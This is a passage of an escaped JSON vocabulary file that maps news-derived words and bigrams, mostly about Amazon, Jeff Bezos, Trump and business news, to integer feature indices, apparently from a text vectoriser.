\"enthusiastically endorsing\": 109133,\n  \"freezes\": 109134,\n  \"active owlfirstitem\": 109135,\n  \"frantically throwing\": 109136,\n  \"provocations\": 109137,\n  \"city footprint\": 109138,\n  \"financial news\": 109139,\n  \"superheroes\": 109140,\n  \"mayor baraka\": 109141,\n  \"large leap\": 109142,\n  \"banking friends\": 109143,\n  \"bezos succeeds\": 109144,\n  \"researchers hope\": 109145,\n  \"red ready\": 109146,\n  \"revenue estimates\": 109147,\n  \"aneurisms levi\": 109148,\n  \"vary\": 109149,\n  \"rebecca\": 109150,\n  \"tech apple\": 109151,\n  \"darker\": 109152,\n  \"queens council\": 109153,\n  \"consistently disclose\": 109154,\n  \"redirecting\": 109155,\n  \"list cnbc\": 109156,\n  \"wealth rose\": 109157,\n  \"legendary washington\": 109158,\n  \"business ventures\": 109159,\n  \"staunch souls\": 109160,\n  \"access 50eb2d087826a77e5d000001\": 109161,\n  \"week oliver\": 109162,\n  \"offers combination\": 109163,\n  \"report bezos\": 109164,\n  \"survivor weather\": 109165,\n  \"enteprise institute\": 109166,\n  \"client did\": 109167,\n  \"billionaire george\": 109168,\n  \"usa products\": 109169,\n  \"southwest newest\": 109170,\n  \"opened preliminary\": 109171,\n  \"ar technology\": 109172,\n  \"afloat amazon\": 109173,\n  \"star lin\": 109174,\n  \"phrase tourists\": 109175,\n  \"dsi\": 109176,\n  \"office credit\": 109177,\n  \"called crime\": 109178,\n  \"memphian\": 109179,\n  \"sensibility mayor\": 109180,\n  \"destructive\": 109181,\n  \"suggested range\": 109182,\n  \"photo frames\": 109183,\n  \"christopher chris\": 109184,\n  \"china calculation\": 109185,\n  \"400 point\": 109186,\n  \"wapo\": 109187,\n  \"000 politically\": 109188,\n  \"mapoli\": 109189,\n  \"trump notably\": 109190,\n  \"dangerous new\": 109191,\n  \"gold watch\": 109192,\n  \"nydj\": 109193,\n  \"loyola law\": 109194,\n  \"chip slowdown\": 109195,\n  \"practices stand\": 109196,\n  \"sarasara uv\": 109197,\n  \"senate intel\": 109198,\n  \"margin border\": 109199,\n  \"cover shoot\": 109200,\n  \"childhood\": 109201,\n  \"google duplex\": 109202,\n  \"persuade judge\": 109203,\n  \"man sincerely\": 109204,\n  \"purchase\": 109205,\n  \"unarmed black\": 109206,\n  \"162 billion\": 109207,\n  \"weiner\": 109208,\n  \"month congress\": 109209,\n  \"judge complaints\": 109210,\n  \"sellers kovach\": 109211,\n  \"popular politics\": 109212,\n  \"campaign donors\": 109213,\n  \"weekdays reach\": 109214,\n  \"publicly singled\": 109215,\n  \"lvburke\": 109216,\n  \"letter delivered\": 109217,\n  \"dpz\": 109218,\n  \"sector consumer\": 109219,\n  \"counter information\": 109220,\n  \"senior execs\": 109221,\n  \"lauren s\\u00e1nchez\": 109222,\n  \"hq2 oversight\": 109223,\n  \"lab coat\": 109224,\n  \"profitable amazon\": 109225,\n  \"don originate\": 109226,\n  \"accelerate disbursement\": 109227,\n  \"showflashslate containerel\": 109228,\n  \"paterson democrat\": 109229,\n  \"lissette gonzalez\": 109230,\n  \"numbers won\": 109231,\n  \"incredibly impressed\": 109232,\n  \"mccain hat\": 109233,\n  \"bezos lawyers\": 109234,\n  \"fbi infiltrated\": 109235,\n  \"gotten little\": 109236,\n  \"textual\": 109237,\n  \"000 costs\": 109238,\n  \"attendance fought\": 109239,\n  \"holding area\": 109240,\n  \"monica california\": 109241,\n  \"sinclair tribune\": 109242,\n  \"ambitions amazon\": 109243,\n  \"existing price\": 109244,\n  \"cord\": 109245,\n  \"particular product\": 109246,\n  \"began offering\": 109247,\n  \"lonely\": 109248,\n  \"interview mccabe\": 109249,\n  \"tax opioid\": 109250,\n  \"looks identical\": 109251,\n  \"posted record\": 109252,\n  \"encouraged interested\": 109253,\n  \"2016 notched\": 109254,\n  \"endorse mccain\": 109255,\n  \"surpassed 400\": 109256,\n  \"job holders\": 109257,\n  \"fate worthy\": 109258,\n  \"king jeff\": 109259,\n  \"night grizzlies\": 109260,\n  \"sizzling ipo\": 109261,\n  \"series documentaries\": 109262,\n  \"user accounts\": 109263,\n  \"important check\": 109264,\n  \"shares gould\": 109265,\n  \"offering fat\": 109266,\n  \"curiously rebranded\": 109267,\n  \"rich chronicle\": 109268,\n  \"age gender\": 109269,\n  \"women told\": 109270,\n  \"calories youths\": 109271,\n  \"enjoying\": 109272,\n  \"centres despite\": 109273,\n  \"doing meaning\": 109274,\n  \"steady\": 109275,\n  \"guinea pig\": 109276,\n  \"marines troop\": 109277,\n  \"extraordinarything\": 109278,\n  \"marketocracy\": 109279,\n  \"getting check\": 109280,\n  \"yes williams\": 109281,\n  \"turning amazon\": 109282,\n  \"queens rep\": 109283,\n  \"afterward president\": 109284,\n  \"brain changes\": 109285,\n  \"obviously volatile\": 109286,\n  \"xip8joqswh\": 109287,\n  \"competing businesses\": 109288,\n  \"inland\": 109289,\n  \"frei took\": 109290,\n  \"viral standoff\": 109291,\n  \"paradox\": 109292,\n  \"leveling false\": 109293,\n  \"actually works\": 109294,\n  \"waters morgan\": 109295,\n  \"1991 ap\": 109296,\n  \"war conditions\": 109297,\n  \"sh doesn\": 109298,\n  \"conversation click\": 109299,\n  \"note advising\": 109300,\n  \"parodied\": 109301,\n  \"service subsidizes\": 109302,\n  \"causing stock\": 109303,\n  \"growing web\": 109304,\n  \"engines inform\": 109305,\n  \"enforcement continues\": 109306,\n  \"real hollywood\": 109307,\n  \"shared rivalry\": 109308,\n  \"pensions\": 109309,\n  \"begin aggressively\": 109310,\n  \"nfl games\": 109311,\n  \"announced yesterday\": 109312,\n  \"department inspect\": 109313,\n  \"marketplace simply\": 109314,\n  \"google goodwill\": 109315,\n  \"cartoon gina\": 109316,\n  \"trade related\": 109317,\n  \"apple high\": 109318,\n  \"major store\": 109319,\n  \"exclusive rights\": 109320,\n  \"point algonquin\": 109321,\n  \"img_reusableflag\": 109322,\n  \"nypd reports\": 109323,\n  \"news scandal\": 109324,\n  \"old home\": 109325,\n  \"2018 wedbush\": 109326,\n  \"highsmith\": 109327,\n  \"stunning rally\": 109328,\n  \"buff biceps\": 109329,\n  \"coral reef\": 109330,\n  \"known state\": 109331,\n  \"making negative\": 109332,\n  \"morale\": 109333,\n  \"pervades quizzes\": 109334,\n  \"cramer twitter\": 109335,\n  \"send facebook\": 109336,\n  \"bureaucratic elisabeth\": 109337,\n  \"pretended\": 109338,\n  \"need recode\": 109339,\n  \"liberal colleges\": 109340,\n  \"rty48517017\": 109341,\n  \"egypt jan25\": 109342,\n  \"ceo demand\": 109343,\n  \"workplace enforcement\": 109344,\n  \"abolition\": 109345,\n  \"generosity new\": 109346,\n  \"twitter jontalton\": 109347,\n  \"day amid\": 109348,\n  \"200 packages\": 109349,\n  \"schroeder\": 109350,\n  \"extend rally\": 109351,\n  \"press cudgel\": 109352,\n  \"significant philanthropic\": 109353,\n  \"genre moving\": 109354,\n  \"source software\": 109355,\n  \"long eluded\": 109356,\n  \"sales volumes\": 109357,\n  \"scripts carl\": 109358,\n  \"bureau chief\": 109359,\n  \"high ceo\": 109360,\n  \"modernization act\": 109361,\n  \"looming climate\": 109362,\n  \"encouraging cabinet\": 109363,\n  \"tweets tied\": 109364,\n  \"cnp\": 109365,\n  \"launching fleet\": 109366,\n  \"spiritually\": 109367,\n  \"caption elle\": 109368,\n  \"prices west\": 109369,\n  \"implode\": 109370,\n  \"amazon money\": 109371,\n  \"base maybe\": 109372,\n  \"receive aims\": 109373,\n  \"ahamefule\": 109374,\n  \"assists asylum\": 109375,\n  \"jamie forese\": 109376,\n  \"ebs\": 109377,\n  \"amazon house\": 109378,\n  \"reporter\": 109379,\n  \"writers wanted\": 109380,\n  \"attribute amazon\": 109381,\n  \"bfk0jah9oj\": 109382,\n  \"supermodel cheryl\": 109383,\n  \"unh situation\": 109384,\n  \"investigation focused\": 109385,\n  \"attracts\": 109386,\n  \"favouring adversary\": 109387,\n  \"034\": 109388,\n  \"say contain\": 109389,\n  \"guest host\": 109390,\n  \"estimate calls\": 109391,\n  \"bishops\": 109392,\n  \"screen compositions\": 109393,\n  \"taken place\": 109394,\n  \"windowless\": 109395,\n  \"heralds\": 109396,\n  \"displacement\": 109397,\n  \"imageserve\": 109398,\n  \"stirring citizen\": 109399,\n  \"amazon stuck\": 109400,\n  \"politics editorials\": 109401,\n  \"retail takeover\": 109402,\n  \"combustible\": 109403,\n  \"earlier gains\": 109404,\n  \"administration just\": 109405,\n  \"tabernacle\": 109406,\n  \"post called\": 109407,\n  \"579 shares\": 109408,\n  \"flourishing community\": 109409,\n  \"permits amazon\": 109410,\n  \"impossibility\": 109411,\n  \"face great\": 109412,\n  \"potential business\": 109413,\n  \"photo dominique\": 109414,\n  \"letter revenue\": 109415,\n  \"online postings\": 109416,\n  \"case amounted\": 109417,\n  \"lander called\": 109418,\n  \"takes page\": 109419,\n  \"just gone\": 109420,\n  \"sinister facility\": 109421,\n  \"intu netapp\": 109422,\n  \"people support\": 109423,\n  \"jobs left\": 109424,\n  \"objectionable democracy\": 109425,\n  \"incipient\": 109426,\n  \"television presenter\": 109427,\n  \"cheaper xr\": 109428,\n  \"\\u0142100bn bezos\": 109429,\n  \"national association\": 109430,\n  \"star senator\": 109431,\n  \"forms lists\": 109432,\n  \"forte added\": 109433,\n  \"today report\": 109434,\n  \"session reaching\": 109435,\n  \"scholarship catfish\": 109436,\n  \"york principal\": 109437,\n  \"president attitude\": 109438,\n  \"ago divided\": 109439,\n  \"parallel\": 109440,\n  \"growing impatient\": 109441,\n  \"405\": 109442,\n  \"joint enterprise\": 109443,\n  \"revenue channels\": 109444,\n  \"american corporations\": 109445,\n  \"trump frequently\": 109446,\n  \"placing increased\": 109447,\n  \"insider forbes\": 109448,\n  \"farrell injured\": 109449,\n  \"bias citing\": 109450,\n  \"dismiss\": 109451,\n  \"john brown\": 109452,\n  \"revenue rose\": 109453,\n  \"joe scarborough\": 109454,\n  \"accurate source\": 109455,\n  \"mid term\": 109456,\n  \"seriously injured\": 109457,\n  \"florida midterms\": 109458,\n  \"book room\": 109459,\n  \"couple love\": 109460,\n  \"disposal\": 109461,\n  \"oak\": 109462,\n  \"fake papers\": 109463,\n  \"mexico netflix\": 109464,\n  \"brands clothes\": 109465,\n  \"allegations empire\": 109466,\n  \"bezos promised\": 109467,\n  \"includes stories\": 109468,\n  \"mail particularly\": 109469,\n  \"empting\": 109470,\n  \"jews increased\": 109471,\n  \"later share\": 109472,\n  \"labor markets\": 109473,\n  \"1999 resulting\": 109474,\n  \"calibre systems\": 109475,\n  \"million financial\": 109476,\n  \"pot ceramic\": 109477,\n  \"far bigger\": 109478,\n  \"godfather\": 109479,\n  \"earning big\": 109480,\n  \"query regarding\": 109481,\n  \"facts real\": 109482,\n  \"2015 tweet\": 109483,\n  \"case offers\": 109484,\n  \"inhabits literary\": 109485,\n  \"notwithstanding\": 109486,\n  \"2019 cnbc\": 109487,\n  \"article saying\": 109488,\n  \"culp says\": 109489,\n  \"way bartiromo\": 109490,\n  \"complaints regarding\": 109491,\n  \"recent earnings\": 109492,\n  \"goode taste\": 109493,\n  \"retail employment\": 109494,\n  \"maven brought\": 109495,\n  \"licensing partners\": 109496,\n  \"research study\": 109497,\n  \"amazon published\": 109498,\n  \"location consultant\": 109499,\n  \"karni write\": 109500,\n  \"jan25\": 109501,\n  \"military projects\": 109502,\n  \"early managers\": 109503,\n  \"massachusetts jointly\": 109504,\n  \"publication anne\": 109505,\n  \"lock\": 109506,\n  \"headquarters amazon\": 109507,\n  \"physical presences\": 109508,\n  \"starbucks read\": 109509,\n  \"000 extra\": 109510,\n  \"tirelessly greenpeace\": 109511,\n  \"including academic\": 109512,\n  \"amazon attack\": 109513,\n  \"bigger story\": 109514,\n  \"getting close\": 109515,\n  \"devote time\": 109516,\n  \"deliver perceived\": 109517,\n  \"read\": 109518,\n  \"service handling\": 109519,\n  \"ebook\": 109520,\n  \"systematically separating\": 109521,\n  \"unrecommend share\": 109522,\n  \"times book\": 109523,\n  \"defineproperty\": 109524,\n  \"fresh jolt\": 109525,\n  \"blanketing\": 109526,\n  \"involved think\": 109527,\n  \"keeps gaining\": 109528,\n  \"exposing\": 109529,\n  \"kruger\": 109530,\n  \"establish presumption\": 109531,\n  \"mba spin\": 109532,\n  \"watch investors\": 109533,\n  \"cash drawer\": 109534,\n  \"insider slimme\": 109535,\n  \"bit surprised\": 109536,\n  \"big investors\": 109537,\n  \"phased\": 109538,\n  \"button google\": 109539,\n  \"tropical forest\": 109540,\n  \"world hottest\": 109541,\n  \"highly charged\": 109542,\n  \"electronics industries\": 109543,\n  \"complicated new\": 109544,\n  \"trump sued\": 109545,\n  \"iran leaders\": 109546,\n  \"304\": 109547,\n  \"market indexes\": 109548,\n  \"pink legacy\": 109549,\n  \"safety inadequate\": 109550,\n  \"continue trade\": 109551,\n  \"information control\": 109552,\n  \"report identifying\": 109553,\n  \"pending review\": 109554,\n  \"undoubtedly value\": 109555,\n  \"shock absorb\": 109556,\n  \"2018 psssttt\": 109557,\n  \"jihad\": 109558,\n  \"life recipe\": 109559,\n  \"salary absent\": 109560,\n  \"stop excluding\": 109561,\n  \"bloomberg intelligence\": 109562,\n  \"opening path\": 109563,\n  \"bartiromo assess\": 109564,\n  \"minister nicolas\": 109565,\n  \"comedian\": 109566,\n  \"tax rules\": 109567,\n  \"questions rich\": 109568,\n  \"stop cronyism\": 109569,\n  \"config\": 109570,\n  \"new scheduling\": 109571,\n  \"response encouraged\": 109572,\n  \"writer lynn\": 109573,\n  \"scour regional\": 109574,\n  \"longer just\": 109575,\n  \"care geekwire\": 109576,\n  \"tax benefits\": 109577,\n  \"postwar american\": 109578,\n  \"repeatedly pretending\": 109579,\n  \"amazon pokes\": 109580,\n  \"webcast event\": 109581,\n  \"expected benefits\": 109582,\n  \"5calls\": 109583,\n  \"astonishingly\": 109584,\n  \"space administration\": 109585,\n  \"arabia public\": 109586,\n  \"jr praises\": 109587,\n  \"bombshell announcement\": 109588,\n  \"public\": 109589,\n  \"send mail\": 109590,\n  \"label inventory\": 109591,\n  \"managers surveyed\": 109592,\n  \"work think\": 109593,\n  \"selden akron\": 109594,\n  \"missouri\": 109595,\n  \"durable packable\": 109596,\n  \"chief executives\": 109597,\n  \"improve shareholder\": 109598,\n  \"country offering\": 109599,\n  \"homepod offer\": 109600,\n  \"small cashier\": 109601,\n  \"evil forces\": 109602,\n  \"inherently wrong\": 109603,\n  \"acclaimed illustrated\": 109604,\n  \"clark kmb\": 109605,\n  \"dollar net\": 109606,\n  \"talkpoverty org\": 109607,\n  \"air livery\": 109608,\n  \"features email\": 109609,\n  \"illness unlikely\": 109610,\n  \"rule changes\": 109611,\n  \"vacant building\": 109612,\n  \"power think\": 109613,\n  \"intends\": 109614,\n  \"generating billion\": 109615,\n  \"keeping american\": 109616,\n  \"meter tall\": 109617,\n  \"selling make\": 109618,\n  \"uncomfortable reality\": 109619,\n  \"retiring justice\": 109620,\n  \"amzn amzn\": 109621,\n  \"virginia oversight\": 109622,\n  \"extra anchor\": 109623,\n  \"post wp\": 109624,\n  \"value marketing\": 109625,\n  \"moscow allegations\": 109626,\n  \"cites reuters\": 109627,\n  \"judge cleared\": 109628,\n  \"trump needlessly\": 109629,\n  \"acknowledges social\": 109630,\n  \"relationships form\": 109631,\n  \"issuing\": 109632,\n  \"foremost bezos\": 109633,\n  \"grabbed\": 109634,\n  \"tomatoes\": 109635,\n  \"spiral downward\": 109636,\n  \"guys sandy\": 109637,\n  \"day guaranteed\": 109638,\n  \"bezos parties\": 109639,\n  \"untrue\": 109640,\n  \"just shoot\": 109641,\n  \"raise 500\": 109642,\n  \"democrat adam\": 109643,\n  \"course online\": 109644,\n  \"voter decisions\": 109645,\n  \"martingale\": 109646,\n  \"economy created\": 109647,\n  \"registration customs\": 109648,\n  \"court left\": 109649,\n  \"lashing\": 109650,\n  \"2016 new\": 109651,\n  \"villages\": 109652,\n  \"amazon pre\": 109653,\n  \"krugman advice\": 109654,\n  \"puts distance\": 109655,\n  \"money cassidy\": 109656,\n  \"digital age\": 109657,\n  \"values bezos\": 109658,\n  \"local citizens\": 109659,\n  \"enquirer spend\": 109660,\n  \"manipulating news\": 109661,\n  \"tjv\": 109662,\n  \"provide metapack\": 109663,\n  \"laced search\": 109664,\n  \"someday\": 109665,\n  \"telecom tips\": 109666,\n  \"stubs reflected\": 109667,\n  \"employees make\": 109668,\n  \"610 words\": 109669,\n  \"postmortem\": 109670,\n  \"agents\": 109671,\n  \"commerce driven\": 109672,\n  \"opposite happens\": 109673,\n  \"stooge\": 109674,\n  \"enable family\": 109675,\n  \"oil\": 109676,\n  \"telecommunications firm\": 109677,\n  \"details emerged\": 109678,\n  \"slow burn\": 109679,\n  \"reuters nigeria\": 109680,\n  \"time warner\": 109681,\n  \"case centers\": 109682,\n  \"verge amazon\": 109683,\n  \"guaranteed\": 109684,\n  \"consistently criticizes\": 109685,\n  \"numbers undercut\": 109686,\n  \"allbright volatile\": 109687,\n  \"seen twitter\": 109688,\n  \"main street\": 109689,\n  \"hoax puppet\": 109690,\n  \"ssupposed\": 109691,\n  \"earnings jump\": 109692,\n  \"assaults king\": 109693,\n  \"target corp\": 109694,\n  \"alina\": 109695,\n  \"jets elegant\": 109696,\n  \"xenophobic president\": 109697,\n  \"including cbp\": 109698,\n  \"brooke sutherland\": 109699,\n  \"potential liability\": 109700,\n  \"us69 billion\": 109701,\n  \"emmy awards\": 109702,\n  \"commercial delivery\": 109703,\n  \"dichotomy\": 109704,\n  \"executive committee\": 109705,\n  \"parcel shipping\": 109706,\n  \"project stems\": 109707,\n  \"unexpected alliance\": 109708,\n  \"akira kurosawa\": 109709,\n  \"beating path\": 109710,\n  \"american dividend\": 109711,\n  \"dominion proposal\": 109712,\n  \"vandalized\": 109713,\n  \"primary dynamic\": 109714,\n  \"dc lobbying\": 109715,\n  \"selfies including\": 109716,\n  \"edgy contrast\": 109717,\n  \"represents consists\": 109718,\n  \"decided issues\": 109719,\n  \"unz\": 109720,\n  \"pakistan follow\": 109721,\n  \"parent controls\": 109722,\n  \"rep ilhan\": 109723,\n  \"management lc\": 109724,\n  \"kiely\": 109725,\n  \"pause seattle\": 109726,\n  \"limited government\": 109727,\n  \"certain documents\": 109728,\n  \"member ruben\": 109729,\n  \"leader praises\": 109730,\n  \"biggest growth\": 109731,\n  \"robert rauschenberg\": 109732,\n  \"official trump\": 109733,\n  \"workers deserve\": 109734,\n  \"hit gilmore\": 109735,\n  \"boedeker\": 109736,\n  \"percival\": 109737,\n  \"dress rights\": 109738,\n  \"affect ing\": 109739,\n  \"sarah ellison\": 109740,\n  \"ecommerce firm\": 109741,\n  \"real inside\": 109742,\n  \"fireworks\": 109743,\n  \"hire bryan\": 109744,\n  \"various countries\": 109745,\n  \"pecker communications\": 109746,\n  \"months alexa\": 109747,\n  \"reasons given\": 109748,\n  \"ecolab new\": 109749,\n  \"effort called\": 109750,\n  \"cogdill sent\": 109751,\n  \"capital investments\": 109752,\n  \"lichtenberg suggested\": 109753,\n  \"rca\": 109754,\n  \"smaller geographic\": 109755,\n  \"trump pulls\": 109756,\n  \"strewn cemetery\": 109757,\n  \"profits fall\": 109758,\n  \"people doing\": 109759,\n  \"fills void\": 109760,\n  \"trends especially\": 109761,\n  \"respect don\": 109762,\n  \"just useful\": 109763,\n  \"catalog albatross\": 109764,\n  \"trumpstore\": 109765,\n  \"wouldn level\": 109766,\n  \"sheer white\": 109767,\n  \"private universities\": 109768,\n  \"katera right\": 109769,\n  \"needed council\": 109770,\n  \"whites\": 109771,\n  \"repeatedly bashed\": 109772,\n  \"accusing amazon\": 109773,\n  \"squandering new\": 109774,\n  \"edit administration\": 109775,\n  \"mandatory life\": 109776,\n  \"just refuses\": 109777,\n  \"hearing scheduled\": 109778,\n  \"giant afp\": 109779,\n  \"enforcement customer\": 109780,\n  \"bezos remained\": 109781,\n  \"mchugh\": 109782,\n  \"fires reporter\": 109783,\n  \"navy plane\": 109784,\n  \"balloonfest returns\": 109785,\n  \"forensic\": 109786,\n  \"travelist\": 109787,\n  \"tory office\": 109788,\n  \"gop lawmakers\": 109789,\n  \"actively recruiting\": 109790,\n  \"limited series\": 109791,\n  \"says offering\": 109792,\n  \"tweet savaging\": 109793,\n  \"scary truth\": 109794,\n  \"foundations sturdy\": 109795,\n  \"contaminating\": 109796,\n  \"rundown sent\": 109797,\n  \"companies reality\": 109798,\n  \"mario aces\": 109799,\n  \"policy promises\": 109800,\n  \"polo shirt\": 109801,\n  \"government campaign\": 109802,\n  \"buying physical\": 109803,\n  \"robert crandall\": 109804,\n  \"porri\": 109805,\n  \"bid trump\": 109806,\n  \"robert elizabeth\": 109807,\n  \"gmt justin\": 109808,\n  \"scenes\": 109809,\n  \"mario\": 109810,\n  \"growing field\": 109811,\n  \"shot according\": 109812,\n  \"democrats agree\": 109813,\n  \"retail analyst\": 109814,\n  \"choose amazon\": 109815,\n  \"mark morgan\": 109816,\n  \"hour special\": 109817,\n  \"prime original\": 109818,\n  \"globenewswire\": 109819,\n  \"bangladesh jordan\": 109820,\n  \"values lineup\": 109821,\n  \"isn interfering\": 109822,\n  \"episode\": 109823,\n  \"repress\": 109824,\n  \"programming game\": 109825,\n  \"process follow\": 109826,\n  \"owen\": 109827,\n  \"horn williams\": 109828,\n  \"border arrests\": 109829,\n  \"362\": 109830,\n  \"act require\": 109831,\n  \"opinion eileen\": 109832,\n  \"tv telecom\": 109833,\n  \"customised\": 109834,\n  \"latest fuckup\": 109835,\n  \"sports notes\": 109836,\n  \"bernstein looks\": 109837,\n  \"marrero mailed\": 109838,\n  \"administration deportation\": 109839,\n  \"level tariffs\": 109840,\n  \"conditions weren\": 109841,\n  \"reinvigoration\": 109842,\n  \"weitzman\": 109843,\n  \"republicans increasingly\": 109844,\n  \"fidelity herera\": 109845,\n  \"134 run\": 109846,\n  \"wants key\": 109847,\n  \"procuring\": 109848,\n  \"actually benefit\": 109849,\n  \"catherine keener\": 109850,\n  \"apparently chilling\": 109851,\n  \"isaac smith\": 109852,\n  \"businesses toxins\": 109853,\n  \"intel broadens\": 109854,\n  \"taken lot\": 109855,\n  \"surprise organized\": 109856,\n  \"ivanka face\": 109857,\n  \"blunting population\": 109858,\n  \"asked 600\": 109859,\n  \"barron walmart\": 109860,\n  \"mike rielly\": 109861,\n  \"reputation resettlement\": 109862,\n  \"gator\": 109863,\n  \"association digital\": 109864,\n  \"trump foundation\": 109865,\n  \"eighth season\": 109866,\n  \"fundraising page\": 109867,\n  \"individual parent\": 109868,\n  \"added 135\": 109869,\n  \"emerald\": 109870,\n  \"energy waste\": 109871,\n  \"afternoon customers\": 109872,\n  \"trump fired\": 109873,\n  \"computer networks\": 109874,\n  \"a26142277 howard\": 109875,\n  \"nations body\": 109876,\n  \"insider trump\": 109877,\n  \"setting rates\": 109878,\n  \"redrawing maps\": 109879,\n  \"strike fear\": 109880,\n  \"based coastline\": 109881,\n  \"published seminal\": 109882,\n  \"share information\": 109883,\n  \"provider using\": 109884,\n  \"houston astros\": 109885,\n  \"bestow metropolis\": 109886,\n  \"ponzi\": 109887,\n  \"matters amid\": 109888,\n  \"watching stream\": 109889,\n  \"government contracts\": 109890,\n  \"coalesced\": 109891,\n  \"haphazard\": 109892,\n  \"2018 ___\": 109893,\n  \"competition causes\": 109894,\n  \"demands citing\": 109895,\n  \"bob\": 109896,\n  \"final yr\": 109897,\n  \"documentary david\": 109898,\n  \"lastmodifiedtext\": 109899,\n  \"random gas\": 109900,\n  \"blackmail ami\": 109901,\n  \"mmm\": 109902,\n  \"smear campaign\": 109903,\n  \"host talks\": 109904,\n  \"fisher\": 109905,\n  \"image 50x50\": 109906,\n  \"aheadoftheherd\": 109907,\n  \"world corp\": 109908,\n  \"sessions listens\": 109909,\n  \"bigger budget\": 109910,\n  \"cost 119\": 109911,\n  \"cleansing\": 109912,\n  \"backcountry adventures\": 109913,\n  \"tell justin\": 109914,\n  \"bedfellow\": 109915,\n  \"price climb\": 109916,\n  \"strachan\": 109917,\n  \"contributing ton\": 109918,\n  \"having passed\": 109919,\n  \"killed florida\": 109920,\n  \"2080\": 109921,\n  \"prioritizes longer\": 109922,\n  \"later bezos\": 109923,\n  \"amazon technology\": 109924,\n  \"alleged efforts\": 109925,\n  \"news economy\": 109926,\n  \"games jeff\": 109927,\n  \"ride hailing\": 109928,\n  \"vance\": 109929,\n  \"sales multiple\": 109930,\n  \"pac called\": 109931,\n  \"metascript remove\": 109932,\n  \"fastdom mutate\": 109933,\n  \"means reflects\": 109934,\n  \"andnowuknow\": 109935,\n  \"health hazard\": 109936,\n  \"season big\": 109937,\n  \"technological colonization\": 109938,\n  \"shipping rate\": 109939,\n  \"bondi\": 109940,\n  \"exit\": 109941,\n  \"ipa news\": 109942,\n  \"national champion\": 109943,\n  \"commissioner desloge\": 109944,\n  \"headline unpresidented\": 109945,\n  \"nke\": 109946,\n  \"risks attracting\": 109947,\n  \"parts bovine\": 109948,\n  \"assaulted 2018\": 109949,\n  \"larry kudlow\": 109950,\n  \"jump ahead\": 109951,\n  \"vermont doctors\": 109952,\n  \"make outsized\": 109953,\n  \"aws invention\": 109954,\n  \"father trump\": 109955,\n  \"japan weird\": 109956,\n  \"outflow alert\": 109957,\n  \"using\": 109958,\n  \"schmitt\": 109959,\n  \"netflix makes\": 109960,\n  \"expressed political\": 109961,\n  \"pinky thumb\": 109962,\n  \"000 lawsuit\": 109963,\n  \"new nyc\": 109964,\n  \"langone surpassing\": 109965,\n  \"watch donald\": 109966,\n  \"demons humanity\": 109967,\n  \"gear maker\": 109968,\n  \"obamagatespyscandal courtland\": 109969,\n  \"sourcescreen\": 109970,\n  \"amazon stunning\": 109971,\n  \"mystery parties\": 109972,\n  \"durable\": 109973,\n  \"help amzn\": 109974,\n  \"takenon trump\": 109975,\n  \"effort scott\": 109976,\n  \"question answer\": 109977,\n  \"newsstands bezos\": 109978,\n  \"john mitchell\": 109979,\n  \"queens state\": 109980,\n  \"proposals announced\": 109981,\n  \"trump protectionist\": 109982,\n  \"income housing\": 109983,\n  \"leak investigations\": 109984,\n  \"uses numerous\": 109985,\n  \"millionaire uncle\": 109986,\n  \"living rooms\": 109987,\n  \"cbp\": 109988,\n  \"romano bob\": 109989,\n  \"deal executives\": 109990,\n  \"579\": 109991,\n  \"scaring\": 109992,\n  \"ibm just\": 109993,\n  \"direct hits\": 109994,\n  \"cultural capital\": 109995,\n  \"weight watchers\": 109996,\n  \"mmwave\": 109997,\n  \"jacqueline teammoya\": 109998,\n  \"yes inaudible\": 109999,\n  \"muckerman feel\": 110000,\n  \"journal report\": 110001,\n  \"clientx\": 110002,\n  \"brotopia breaking\": 110003,\n  \"tax scam\": 110004,\n  \"recommend changing\": 110005,\n  \"nations wealth\": 110006,\n  \"amazing customer\": 110007,\n  \"bid president\": 110008,\n  \"bullying organisation\": 110009,\n  \"productive purpose\": 110010,\n  \"shopping increasingly\": 110011,\n  \"sportscenter\": 110012,\n  \"broad marketing\": 110013,\n  \"paul sonne\": 110014,\n  \"ctsh\": 110015,\n  \"announce plans\": 110016,\n  \"just change\": 110017,\n  \"concerns cisco\": 110018,\n  \"selling children\": 110019,\n  \"city guidelines\": 110020,\n  \"patrol agents\": 110021,\n  \"incorrect according\": 110022,\n  \"personal property\": 110023,\n  \"vaccines technocrats\": 110024,\n  \"right moves\": 110025,\n  \"lama specifically\": 110026,\n  \"oesn\": 110027,\n  \"exit intel\": 110028,\n  \"text amazon\": 110029,\n  \"breathes life\": 110030,\n  \"ecclestone alec\": 110031,\n  \"greater opportunities\": 110032,\n  \"day 2004\": 110033,\n  \"commodity markets\": 110034,\n  \"certainly thetrump\": 110035,\n  \"story canopy\": 110036,\n  \"billion chatham\": 110037,\n  \"d5ttj5cspw towleroad\": 110038,\n  \"factory\": 110039,\n  \"cages amazon\": 110040,\n  \"editors realize\": 110041,\n  \"evacuated mean\": 110042,\n  \"gluck\": 110043,\n  \"legislature approval\": 110044,\n  \"delivery firms\": 110045,\n  \"imposed tough\": 110046,\n  \"seller\": 110047,\n  \"comp insurance\": 110048,\n  \"community protection\": 110049,\n  \"retaliating\": 110050,\n  \"special announcement\": 110051,\n  \"service instagram\": 110052,\n  \"ap italy\": 110053,\n  \"financed hockey\": 110054,\n  \"howard wrote\": 110055,\n  \"user centered\": 110056,\n  \"trumps aim\": 110057,\n  \"making connections\": 110058,\n  \"outsized affect\": 110059,\n  \"tight housing\": 110060,\n  \"sending tweets\": 110061,\n  \"woes won\": 110062,\n  \"faced protesters\": 110063,\n  \"story salesforces\": 110064,\n  \"massive hack\": 110065,\n  \"congress refused\": 110066,\n  \"dangerous precedents\": 110067,\n  \"shadowy firm\": 110068,\n  \"nisen\": 110069,\n  \"irs took\": 110070,\n  \"latest zinke\": 110071,\n  \"silvio ant\\u00f4nio\": 110072,\n  \"hosting military\": 110073,\n  \"replacing robert\": 110074,\n  \"pitkin pitkin\": 110075,\n  \"intensive care\": 110076,\n  \"brooklyn launch\": 110077,\n  \"different branding\": 110078,\n  \"organization trumpstore\": 110079,\n  \"favor international\": 110080,\n  \"cisco turns\": 110081,\n  \"pocketbooks\": 110082,\n  \"distraction created\": 110083,\n  \"big seller\": 110084,\n  \"reportedly sent\": 110085,\n  \"sector perform\": 110086,\n  \"habila work\": 110087,\n  \"ohio received\": 110088,\n  \"given high\": 110089,\n  \"multiple reasons\": 110090,\n  \"oscars npr\": 110091,\n  \"bezos amid\": 110092,\n  \"established local\": 110093,\n  \"packard\": 110094,\n  \"cable providers\": 110095,\n  \"investment virginia\": 110096,\n  \"hope\": 110097,\n  \"manigualt newsman\": 110098,\n  \"removals pe\\u00f1a\": 110099,\n  \"colors trump\": 110100,\n  \"players deal\": 110101,\n  \"lobbyists 